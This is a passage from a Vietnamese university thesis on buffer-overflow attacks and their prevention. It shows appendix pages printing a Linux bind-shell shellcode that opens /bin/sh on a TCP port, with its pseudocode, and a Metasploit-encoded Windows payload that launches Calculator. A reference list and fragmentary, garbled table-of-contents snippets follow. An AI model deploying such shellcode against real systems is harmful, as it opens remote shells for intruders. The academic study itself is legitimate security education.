SOCK_STREAM, 0); bind(sock, *[2, 64533, 0], 16); listen(sock, 5); nsock = accept(sock, 0, 0); dup2(nsock, 0); dup2(nsock, 1); execve("/bin/sh", 0, 0); // http://promhyl.tk/index.php?a=art&art=83 shellcode: \x6a\x66\x6a\x01\x5b\x58\x99\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6 a\x66\x58\x43\x52\x66\x68\xfc\x15\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x cd\x80\x6a\x66\x58\x43\x43\x6a\x05\x56\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\ x89\xe1\xcd\x80\x89\xc3\x6a\x3f\x58\x31\xc9\xcd\x80\x6a\x3f\x58\x41\xcd\x80 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x50\xb0\x0 b\x59\xcd\x80 */ SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 62 ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Phụ lục Phụ lục 3: Shellcode open Calculator.exe # windows/exec - 144 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc $shellcode = $shellcode "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" "\x7f\xe8\x7b\xca"; SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 63 ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Tài liệu tham khảo TÀI LIỆU THAM KHẢO DANH MỤC CÁC SÁCH, EBOOK THAM KHẢO [1] Dick Steflik, Buffer Overflow Exploits CS480b, http://www.cs.binghamton.edu/, truy nhập tháng 10.2013 [2]Aleph One, Smashing stack for fun and profit 1st, Phrack Magazine 49, 1996 [3] Hoàng Xuân Dậu, Bài giảng an toàn bảo mật HTTT, Học viện cơng nghệ bưu viễn thơng, 2013 [4] Perry Wagle, Calton Pu, Steve Beattie, and Jonathan Walpole Crispin Cowan, Buffer Overflows:Attacks and Defenses for the Vulnerability of the Decade*, 2000 [5] Chris Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes 2nd, 08.2007 [6] Hagen Fritsch, Buffer overflows on linux-x86-64, Technische University at Munchen, 01.2009 DANH MỤC CÁC WEBSITE THAM KHẢO [7] Cert.org, http://www.cert.org/advisories/CA-2003-20.html, tham khảo tháng 09.2013 [8] Cert.org, http://www.cert.org/advisories/CA-2001-19.html, tham khảo tháng 09.2013 [9] Cert.org, http://www.cert.org/advisories/CA-2001-26.html, tham khảo tháng 09.2013 [10] Wikipedia Code_Segment, http://en.wikipedia.org/wiki/Code_segment, tham khảo tháng 09.2013 [11] Wikipedia Data_Segment, http://en.wikipedia.org/wiki/Data_segment, tham khảo tháng 09.2013 [12] Wikipedia Information_systems, http://en.wikipedia.org/wiki/Information_systems, tham khảo tháng 09.2013 [13] Bluemaster syscall, http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html, tham khảo tháng 09.2013 [14] Wikipedia Morris_worm, http://en.wikipedia.org/wiki/Morris_worm, tham khảo tháng 10.2013 SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 64 ĐỒ ÁN TỐT NGHIỆP ĐẠI HỌC Tài liệu tham khảo [15] Vividmachines shellcode, www.vividmachines.com/shellcode/shellcode.html, tham khảo tháng 10.2013 [16] Eyelublog, http://eyelublog.wordpress.com/2013/02/13/the-linux-programminginterface-%E7%AC%94%E8%AE%B0-%E4%B8%89/, tham khảo tháng 10.2013 [17] Vivimachines Steve Hanna, www.vividmachines.com/shellcode/arwin.c, tham khảo tháng 10.2013 [18] Bconizance, bcognizance.iiita.ac.in/?p=699, tham khảo tháng 10.2013 [19] Wikipedia Register, en.wikipedia.org/wiki/Register, tham khảo tháng 10.2013 [20] Tenouk, tenouk.com/Bufferoverflowc/bufferoverflowvulexploitdemo3.html, tham khảo tháng 10.2013 [21] Wikipedia Code_Red_(computer_worm), http://en.wikipedia.org/wiki/Code_Red_(computer_worm), tham khảo tháng 11.2013 [22] Ceh.vn Shellcode, http://ceh.vn/@4rum/showthread.php?tid=2861, tham khảo tháng 10.2013 SVTH: Nguyễn Thăng Long, lớp D09-CNPM3 Page 65 ... StackFrame 42 16: Tìm địa lệnh JUMP ESP file Executable Ollydmg 43 Hình Hình Hình Hình Hình Hình Hình Hình Hình Hình Hình Hình Hình Hình 17: Dữ liệu nhớ Stack sau chèn mã công 43 18: Nhận biết... thức để xây dựng chuỗi mã cơng, cách có ưu, nhược điểm khác Sau sâu vào trình bày hai cách thức xây dựng chuỗi mã công 2.4.4.1 Xây dựng chuỗi với mã công đặt Buffer hàm bị tràn Ta xây dựng chuỗi. .. hổng này, từ có phương án xây dựng hệ thống an toàn Đây lý em chọn đề tài “Nghiên cứu công lỗi tràn đệm phần mềm phòng chống” làm đồ án tốt nghiệp đại học Nội dung đồ án gồm có ba chương phần